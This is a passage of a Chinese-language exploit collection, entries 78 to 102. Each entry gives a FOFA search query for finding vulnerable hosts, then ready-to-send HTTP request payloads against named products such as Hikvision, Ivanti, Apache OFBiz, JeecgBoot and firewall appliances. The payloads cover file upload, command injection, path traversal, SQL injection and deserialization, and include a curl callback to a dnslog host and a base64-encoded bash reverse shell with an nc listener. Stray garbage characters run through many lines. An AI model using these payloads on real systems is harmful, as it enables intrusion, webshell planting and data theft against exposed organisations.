9 a. ?! p' a% [: _- Z2 W( o  U3 pPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
+ u: J, c! K0 ?8 F) S8 V- W' YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
$ ]. S" j7 M% R7 H# F0 e8 YAccept-Encoding: gzip, deflate
, O3 {. a' y& L- o6 v5 m4 b& nAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
9 `: C8 F: u4 G, N( {# r
' ~0 `; u! ~0 R) u4 ~6 j: m/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
- [+ z) z; Q0 _+ K; @: j) u6 l4 l------------398jnjVTTlDVXHlE7yYnfwBoix
( `% o2 {# j0 q& ?6 iContent-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
( y9 X5 E3 H( w1 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ K( ?( O( I% W1 |& tConnection: close
4 R; e) T  [0 }& B1 I: Z8 ?Content-Length: 336
: ~2 S6 u) }* s) p0 ^Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
6 E- ]. i( o4 N' O; z  v8 LContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
4 W* y" q* H) DContent-Type: image/png
5 \6 i& K( M( O7 `" ^0 z, U6 c# B
2 A3 X( m$ P( aYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
( o, f6 v9 O. ^  ]# P; H2 [Content-Disposition: form-data; name="target"
7 P' ~/ m/ E; I0 P
( d) h) V; d* U- |- i, A; e% r/Applications/SkillDevelopAndEHS/
5 Z0 S( b. e0 i' M- N------YsOxWxSvj1KyZow1PTsh98fdu6l--
2 {6 f- ~, c) x0 D* V" S" G
+ m- G' n  z3 e1 I& K0 }8 }
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

: N) l+ z# N4 E% H9 Q' g' m
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
' g2 l6 x4 C6 P: DGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
: U, m( z# f4 F9 \, C  j1 d
4 |2 u0 Q8 l/ c7 ]" O3 D0 G& w
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
0 Z) g% Y9 T# T4 b2 oFOFA：app="速达软件-公司产品"
. i% y1 J% W- nPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 G% Y  }: Q$ M6 [- gContent-Length: 27
- _) q3 j. i2 ?7 {8 t. kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 j2 Y  g+ e7 t" Z' D, @Connection: close
Content-Type: application/octet-stream
1 j  \0 g4 _$ N2 JUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

, F0 D  ^$ }* H0 b
$ d2 @. g6 S1 @- l2 b6 E5 cGET /xykqmfxpoas.jsp HTTP/1.1
4 L, |4 g1 {% X( PHost: x.x.x.x
: L5 {/ L9 @7 [  XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) r$ j% W# Z2 k7 o0 @Accept-Encoding: gzip
: y2 t- z( V2 j9 `% k3 w' |+ `

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
7 r  k& W  v& X; W' {" Z3 J: o9 jFOFA：app="uniview-视频监控"
" T8 \! Q, d( Y+ r) W% |GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
1 z7 x& o2 h% C) J, x& K. hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. U5 g% G5 h. h4 \) J, L$ i1 TAccept-Encoding: gzip

! A. w# _4 @( s7 s- l* [' S* ^
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
+ W4 l# Z, R8 X1 V- UPOST /bhost/test_qrcode_b HTTP/1.1
6 T: {! \& f# ^Host: BaseURL
. u! [  `" @6 N; o% M7 E, qUser-Agent: Go-http-client/1.1
Content-Length: 23
! ~5 \# n5 P) ]1 _* v0 fAccept-Encoding: gzip
1 C. U) U0 |  b4 G/ x7 {Connection: close
Content-Type: application/x-www-form-urlencoded
6 t% y/ Z" R8 w4 j; NReferer: BaseURL
  B; v0 V: J0 p6 K7 a! c# D
0 c4 y/ }6 u4 g3 Pz1=1&z2="|id;"&z3=bhost
; b5 e5 u+ ]* i# w# S
; r+ y9 Y0 A' K+ @; S6 a2 w: I6 i
3 }, o8 ^0 a  j- _83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
$ V2 _1 s# G9 r9 u% l8 K! KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
* M  o- @6 l& u) TAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
+ d( E! M: U: a9 p7 h: x, d$ IContent-Type: application/json
+ U# G( K4 S  v" ?& H' m8 g2 R
8 b9 G1 ?+ Q, `; XPAYLOAD
# ]% c/ [7 q" x
" o7 \. w. Q( f3 U- n3 V84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

4 W, e4 ]: b# q1 W
8 t4 ^! k+ ~: [. q0 e, [
3 s/ \& o) g# a$ nPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
; L: p3 t5 y4 w$ S8 q, KContent-Type: application/json
5 G3 ~8 L$ }3 l4 ]" k9 n( `Accept-Encoding: gzip

4 T4 g/ f8 e9 ^# }+ p{
5 N) a$ Y8 x: V "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
: d6 V5 o9 X% x}


% w& f4 C* C& y  R6 M5 c85. SysAid On-premise< 23.3.36远程代码执行
( k1 Z) }4 q- X$ e- e1 jCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
# r" V) I& B& QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. m& b. t0 E8 sContent-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
, ]6 t( _/ E' q7 ^* S# [7 l" `# w# s
' ?& J0 t9 c& u6 ^& |/ {: u86. 日本tosei自助洗衣机RCE
3 G: N' G7 |. p4 V$ cFOFA：body="tosei_login_check.php"
# c" I, p0 u: g0 o) T3 APOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
0 H5 I9 x3 ?9 W* I3 D: R" W4 e) a9 ^+ rUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
" v8 r/ ^& H. i" t0 ^3 n/ F$ vContent-Length: 44
Accept: */*
Accept-Encoding: gzip
# x. L$ I" {+ F$ n* H1 G2 E$ VAccept-Language: en
& N# K3 a1 w0 `9 d6 JContent-Type: application/x-www-form-urlencoded

/ X( y$ a6 M5 G8 Z1 ^4 Khost=%0acat${IFS}/etc/passwd%0a&command=ping

0 H: _. x  f, p4 K% q, M
87. 安恒明御安全网关aaa_local_web_preview文件上传
3 r4 [- m: X5 D  r1 \$ g4 N' f, rFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
" s6 L8 Q0 g# a% \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" l  l: y" g1 [2 QConnection: close
Content-Length: 198
' K1 q; D8 o; AAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
6 v3 O; A6 _" L  q
" @" U8 Z, y$ Y/ l3 e; }4 B5 Z2 B--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
+ Q0 D' l  X. tContent-Type: text/plain

& ?6 F% m) s, P) C2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
' `- z" @, _  U

/jfhatuwe.php

% _( ^9 v6 K- H- J+ {8 e* g88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
+ s3 i9 a! C9 ^* E) KFOFA：title="明御安全网关"
+ l) m) g- W2 ?& x. ]) BGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
- y' P! l! ]$ j7 B- t( ?: `% uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 |# J+ w9 b  _, {- l7 q  K. t+ F: LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
9 x9 @& g* P9 |# |+ q
3 l: c; s3 N! l- g
% c5 C: m( ^2 p" I3 l$ g* D/astdfkhl.php

, l5 \$ B4 H1 G/ x89. 致远互联FE协作办公平台editflow_manager存在sql注入
- F; |$ {) b0 ?/ }4 S, SFOFA：title="FE协作办公平台" || body="li_plugins_download"
; D; X6 R& B' X+ J* _' J' O' WPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
( Z7 D- f6 m0 m! u; ^' r, u: o+ rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
7 {. O0 y2 I9 b6 |1 x* V1 F1 gContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

. Y" k- j5 K. goption=2&GUID=-1'+union+select+111*222--+
4 l  u, k  a" \% S$ e& I2 [
5 [- F3 r  g# P3 w5 ]* Q' S/ t
& x$ `5 J: K+ v6 a90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
8 G' b. U6 b; A0 \4 kFOFA：icon_hash="-1830859634"
9 o8 G7 }$ {2 y+ v( v+ MPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
1 `7 l. P* e& N; f) O$ d# N( vContent-Length: 51
& b3 s1 p/ F7 |  I" Z" M7 C- ~Accept: application/json, text/javascript, */*; q=0.01
4 ?. f* u+ t. c0 O7 [: PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
- t, L. l( e' p4 @1 t9 V$ o7 qContent-Type: application/x-www-form-urlencoded
& |" f: L+ H$ O( ]" X  sX-Requested-With: XMLHttpRequest
2 }7 @' W) t7 p3 u
7 N$ j$ W) }1 a3 Vjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
! Q$ S& \5 U7 ~0 b% ^9 d
: l5 K, a. g9 X( H4 p; Y: c
: V7 N+ @8 x! Y  q91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
% N- {6 P" I2 S  Z# fFOFA：title="综合安防管理平台"
( s* j/ o8 M5 pGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
: ?+ L( G* v9 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
/ n, \5 y. C; ?+ XAccept-Encoding: gzip, deflate
0 U& O" L& Z! f. R. hAccept: */*
Connection: keep-alive
: L  S0 |8 }+ F3 ]* u; j
! Z% X1 O# V8 N4 d: Q$ ?0 N

5 t& G8 j; ]" W5 Y, h6 |92. 海康威视运行管理中心session命令执行
Fastjson命令执行
  M' |, {. @. {2 ghunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
+ L% I& o7 k6 n0 }POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
) L$ S5 m9 G# M2 kAccept-Encoding: gzip, deflate
! H: R, K4 c* [) t) wX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
' c  H1 z/ S0 g% K( L2 W, j2 pAccept-Language: zh-CN,zh;q=0.9
; O' i# {5 {; i7 K2 I6 q2 LContent-Length: 5778
) ]$ d" j& y- S9 n
" c# Y- J! u' i# C6 x( K" ZPAYLOAD
/ T6 u8 ?$ u! Z

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
5 S) s3 \* F% L0 c5 }5 ]! PPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
# a' E; m% G7 {* {) U% r/ CContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
) U1 Z' N/ }1 t9 ]! rUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

7 J1 U, m9 E& ?( q9 Y8 n: h/ k------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
6 ?( G! J# ]8 r------WebKitFormBoundarykcbkgdfx
9 m. N# l, W7 |8 K4 y1 bContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
$ H# W+ [) C( ^! g! h) c
( X$ \* I* ]* v% N( Bobj_app_upfile
; N$ J+ c7 x  F' y------WebKitFormBoundarykcbkgdfx
3 h6 ?' g1 s" x( mContent-Disposition: form-data; name="__hash__"

* e9 ]7 k/ I2 P+ B1 D0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
' Q* X6 Q+ c2 Y( F; i* y. H4 G) h

$ i& @6 C" m# a+ u& }GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
6 _+ p6 M. h- Q1 }( W& R0 f+ oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 ^9 Q4 c6 j5 K+ m
+ U  ~1 }. T) f) G) v$ t
) v' e9 [. E5 |& A& ~# ~94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
0 h. G: j4 u% g1 l7 w* Q4 BFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
! O; j7 D/ f: t. \$ g; G$ G& hPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
; s" T/ z1 _; v* V0 C, tContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
( K- Q/ X- Y( {Content-Disposition: form-data; name="MAX_FILE_SIZE"
% q8 r& g7 P# S( j& Z  C
10000000
  \  D* v) G$ r1 ~( O------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

1 d$ U* w, h, A4 L2 X% H( |pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
9 @6 Y3 F; R& v0 bContent-Disposition: form-data; name="submit_post"
5 r* M4 w+ F& g" _. `% J
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
9 @% e; V& R0 e" y2 S) JContent-Disposition: form-data; name="__hash__"
4 ?8 Z' p/ V; V
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
5 g0 b2 c/ V5 W8 B
4 P% R: E1 a" K. [( Y; @! B
" s1 W# V; ^( D& z' E. O2 z
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
, c2 z9 z! W$ `0 [& oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



) S7 ]7 S8 D0 r# H95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
; d; D9 P1 E  g% X( t: d% b6 ^Connection: close
* `0 T- w8 D' WContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

$ f" W& B, L; e: y! e7 R<?xml version="1.0"?>
: y6 @% k! M" U, k0 P" ^8 N% U<methodCall>
7 z" R9 m7 ]. {* z   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
% T! t1 _: h3 G$ V* n6 Y      <param>
      <value>
! s. J" I( z9 o' n. U        <struct>
9 \: _0 D) j0 I1 K" c2 x       <member>
$ @2 t) k" y) C  Z3 V# M          <name>test</name>
" Y3 M7 W% D1 U! @! L9 a* S          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
1 Y, A2 J% o* E/ Q2 g( o          </value>
' P2 O/ b8 k8 b, p        </member>
      </struct>
! X; O% |: Q) N: x      </value>
    </param>
% g7 L$ G; Z; a2 O    </params>
' U$ A6 x3 h3 f/ c$ q</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
% t, x+ q* _: x8 n

将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
$ _  {0 i. V1 O4 e7 Z0 hUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
3 g8 E! e  k/ [Connection: close
! `! X, R4 ~  X5 B( {& a# ^Content-Length: 889
, @- W5 {  `9 z% G  e' {Content-Type: application/xml
7 [; @# S" C7 w- M$ |# rAccept-Encoding: gzip

9 H8 o7 `8 W. i/ o) }  k# _PAYLOAD

: d$ m& J! l4 L) Q, `- P' m96. Apache OFBiz  18.12.11 groovy 远程代码执行
9 F3 `0 d* I4 v& ~' Y5 U- f1 _FOFA：app="Apache_OFBiz"
2 a# \2 c, g) d- d3 r- YPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
9 `/ v* v% }' E, e/ w# f1 zHost: localhost:8443
$ C8 B6 ^# D! E( e# M' QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) k0 I  ]$ z& p5 o- ~6 q. NAccept: */*
) i; g) Q- Y- X- ~" P# H0 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
7 z" R/ C2 O7 X( q
groovyProgram=throw+new+Exception('id'.execute().text);
9 j! i; @; K$ j: G1 }
- R. A0 l# ?9 U
% D: v3 y5 q- T9 P. Q  M6 E- e反弹shell
在kali上启动一个监听
, [6 d1 M5 G& y! qnc -lvp 7777
# D) r) a& o1 J$ _! J1 r" h
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
5 R4 Q" B' @* h( [( Y+ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& X+ m( o. g2 y3 lAccept: */*
" v/ P; V6 G% e# v# FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) e; |- a5 a# j4 n1 f: n) TContent-Type: application/x-www-form-urlencoded
# _+ o$ a7 Y9 O' V4 PContent-Length: 71
1 F% R; r  T6 R1 W
$ _& I' b# W" m3 VgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

: ?; }& X0 B4 a' L" N97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
  J8 V# J/ x+ I5 T* D. aHost: 192.168.40.130:8085
7 y/ j) x& w7 I4 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( [. `3 z* ^8 e. ^% xAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
2 N" T3 t0 N. c" r0 jX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
$ ^2 ?# ?9 E6 [4 dCVE-2024-0195
- ]- i: m* k/ e1 GFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
+ s. S& H- e6 n: THost: 192.168.40.130:8088
, g( S$ O5 y8 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& h$ y/ h$ X: wConnection: close
% X. Q5 I7 D3 j, }3 nContent-Length: 121
Accept: */*
% n( }& E  j0 n7 j8 `$ I. B. e% _Accept-Encoding: gzip, deflate
) g) i- b4 n" e% K+ CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, {2 y0 U& d) R: s( PContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
; x8 q- R) {5 |7 W. Q# m
& O, T; |  O' t" w3 p" e
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
5 ~8 B/ c7 a5 F0 x6 r8 b8 G0 N/ M7 iFOFA：app="Ncast-产品" && title=="高清智能录播系统"
, O( l* d. }5 p! ^POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
: |+ M/ ]0 g; b2 \8 gAccept: */*
" }: w# h+ E1 @7 o# \Accept-Encoding: gzip, deflate
# F% k: B0 h# X2 w0 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 {  D3 R% d, R7 d2 h5 SContent-Type: application/x-www-form-urlencoded; charset=UTF-8
" i; q9 x- [" eX-Requested-With: XMLHttpRequest

9 e1 G% O8 A' ?, t! p4 o%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
" W+ a6 B; Y$ F% j' O5 m% f3 T
% m) j: L3 Q& m8 ]1 ^
- v! C4 y; z7 l5 i8 m. G100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
3 i! V% o$ }6 j0 l9 |% Q  h  IFOFA：icon_hash="874152924"
4 c1 v& p4 O- I. B3 pPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
% S2 {  c/ ]  |, LUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
8 P/ z" o, E+ j6 aConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
3 f" Q6 b2 w% k- Z) d1 G! W5 @Accept-Encoding: gzip
% o2 T7 X7 Z* n3 s6 T
/ f! `8 L& w: H' p. v------WebKitFormBoundarygcflwtei
, m4 N& y4 n/ qContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
) a9 w3 ~1 z! c3 p% x% e7 }
  X% t+ e7 g2 f. \9 A, `2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
* F3 C) l! B; l' P% s/ ~8 G4 `
7 J( z7 z! v  z5 n
3 A+ O) W4 {9 Z( f" b  Z" s% m101. ivanti policy secure-22.6命令注入
. P! C4 }$ q$ |9 x5 DCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 Y  g+ k) m  X- Z  h+ HConnection: close
Accept-Encoding: gzip
$ \; K& F" H+ m, d. C. _
. I& X' X' k! D2 S# s
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
- _( |, a. i- u1 pFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
4 ~' E" F( x. p1 R3 LHost: x.x.x.x
6 m" I9 t# ^, k( s  b3 R' s/ e4 Y$ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
# s, |' l6 k6 K7 p$ K* d$ C* Y/ M
